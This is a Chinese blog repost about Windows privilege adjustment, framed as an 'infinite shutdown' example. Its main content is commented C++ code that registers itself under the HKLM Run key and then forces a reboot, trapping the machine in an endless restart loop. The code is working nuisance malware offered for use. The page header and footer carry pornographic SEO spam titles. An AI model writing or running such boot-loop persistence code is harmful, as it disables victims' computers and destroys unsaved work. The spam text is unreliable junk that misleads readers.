日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > c/c++ >内容正文

c/c++

C/C++无限关机(提权例子)

發布時間:2025/3/15 c/c++ 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 C/C++无限关机(提权例子) 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

在windows系統中,當涉及本進程去操作其他進程,或者要用shutdown這些高危命令的時候就涉及提權,下面是MSDN的列子

提權三兄弟
OpenProcessToken
LookupPrivilegevalue
AdjustTokenPrivileges


我們用下面這個MSDN的代碼來做一個注冊表無限關機的列子

#include <windows.h>#pragma comment(lib, "user32.lib") #pragma comment(lib, "advapi32.lib")BOOL MySystemShutdown() {HANDLE hToken; TOKEN_PRIVILEGES tkp; // Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return( FALSE ); // Get the LUID for the shutdown privilege. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid); tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; // Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, (PTOKEN_PRIVILEGES)NULL, 0); if (GetLastError() != ERROR_SUCCESS) return FALSE; // Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, SHTDN_REASON_MAJOR_OPERATINGSYSTEM |SHTDN_REASON_MINOR_UPGRADE |SHTDN_REASON_FLAG_PLANNED)) return FALSE; //shutdown was successfulreturn TRUE; }

上面是MSDN的代碼,下面給出無限關機的代碼(含詳細注釋)

// shutdownDemo.cpp : 定義控制臺應用程序的入口點。 //#include "stdafx.h" #include <windows.h>BOOL MySystemShutdown() {HANDLE hToken; //用于操作的句柄TOKEN_PRIVILEGES tkp; //用于存放特定信息// Get a token for this process. if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))return(FALSE);// Get the LUID for the shutdown privilege. //如果要提權的話要在下面這兩個函數提權LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);tkp.PrivilegeCount = 1; // one privilege to set tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;// Get the shutdown privilege for this process. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);if (GetLastError() != ERROR_SUCCESS)return FALSE;// Shut down the system and force all applications to close. if (!ExitWindowsEx(EWX_REBOOT| EWX_FORCE,SHTDN_REASON_MAJOR_OPERATINGSYSTEM |SHTDN_REASON_MINOR_UPGRADE |SHTDN_REASON_FLAG_PLANNED))return FALSE;//shutdown was successfulreturn TRUE; }int _tmain(int argc, _TCHAR* argv[]) {getchar();HKEY hKey = { 0 };/*LONG RegOpenKeyEx(HKEY hKey, // 需要打開的主鍵的名稱LPCTSTR lpSubKey, //需要打開的子鍵的名稱DWORD ulOptions, // 保留,設為0REGSAM samDesired, // 安全訪問標記,也就是權限PHKEY phkResult // 得到的將要打開鍵的句柄)*/RegOpenKeyExA(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_WRITE,&hKey); //打開一個指定的注冊表鍵char path[MAX_PATH] = { 0 };GetModuleFileNameA(nullptr, path, MAX_PATH); //獲取當前文件路徑RegSetValueEx(hKey, "ShutDown", 0, REG_SZ, (byte*)path, strlen(path));MySystemShutdown();return 0; }
如果出現下面問題

請修改字符集如下


下面看看運行結果!


新人創作打卡挑戰賽發博客就能抽獎!定制產品紅包拿不停!

總結

以上是生活随笔為你收集整理的C/C++无限关机(提权例子)的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 91传媒在线视频 | 色婷婷av一区二区三区软件 | 99成人国产精品视频 | 久草视频在线观 | 欧美成免费 | 日本女人hd | 国产欧美一区二区三区另类精品 | 美女精品一区二区 | 欧美日韩国产在线一区 | 性日本xxx | 中文字幕在线导航 | 欧美黄页在线观看 | 免费av网址大全 | 毛片视 | 哪里可以看免费毛片 | 长篇h版少妇沉沦交换 | 美女爽爽爽 | 制服丝袜av一区二区三区下载 | 欧美日韩一区二区综合 | 国产青青草在线 | 中文字幕成人在线观看 | 一区二区免费在线播放 | 国产一区二区三区视频网站 | 手机免费av| 一区三区在线观看 | 久久精品欧美一区二区 | 公车乳尖揉捏酥软呻吟 | 国产精品91一区 | 免费毛片视频网站 | av五十路 | 成人免费精品 | 免费精品视频一区二区三区 | 情侣作爱视频网站 | 国产精品国产三级国产aⅴ下载 | 国产波霸爆乳一区二区 | 性生活在线视频 | 欧美久久综合 | 91爱爱com| 日本福利一区二区三区 | 日韩在线观看免费 | 99国内揄拍国内精品人妻免费 | 精品久久久久久久久久 | 91久色蝌蚪 | 亚洲欧美综合另类自拍 | 成片免费观看视频大全 | 国产一区二区三区四区在线观看 | 国产精品jizz在线观看老狼 | 黑人又大又粗又长 | 国产欧美一区二区在线 | 午夜国产一区二区 | 777色婷婷 | 女人一区二区 | 亚洲精品一二 | 亚洲精品影视 | 大尺度网站在线观看 | 亚洲乱码国产乱码精品精剪 | 精品国产露脸精彩对白 | 日韩乱码人妻无码中文字幕 | 伊人久久亚洲 | 91成人福利在线 | 污片网站在线观看 | 国产又粗又猛又爽又黄的视频小说 | 国产日韩精品久久 | 国产精品手机视频 | 亚洲精品伦理 | 成人乱人乱一区二区三区一级视频 | 91精品观看 | 黄页嫩草 | 国产美女永久免费无遮挡 | 超碰免费91| 2018国产精品 | 激情一级片 | 日韩爱爱片 | 欧美日韩高清免费 | 在线观看视频福利 | 黄色av不卡 | 亚洲免费一区二区 | 国产精品极品白嫩在线 | 爽爽窝窝午夜精品一区二区 | 精品国产乱码久久久久久久软件 | 精品+无码+在线观看 | 动漫av在线| 国产区在线 | 黄色男女网站 | 久久精品视频91 | 国产欧美一区二区三区另类精品 | 久久成人午夜 | 热久久91 | 一起操17c | 日韩午夜在线观看 | av一本二本| 少妇影院在线观看 | 你懂的视频网站 | 黄色一级片av | 成av人片在线观看www | 日韩一区二区视频在线播放 | 色婷婷aⅴ一区二区三区 | 真人抽搐一进一出视频 | 91亚洲专区|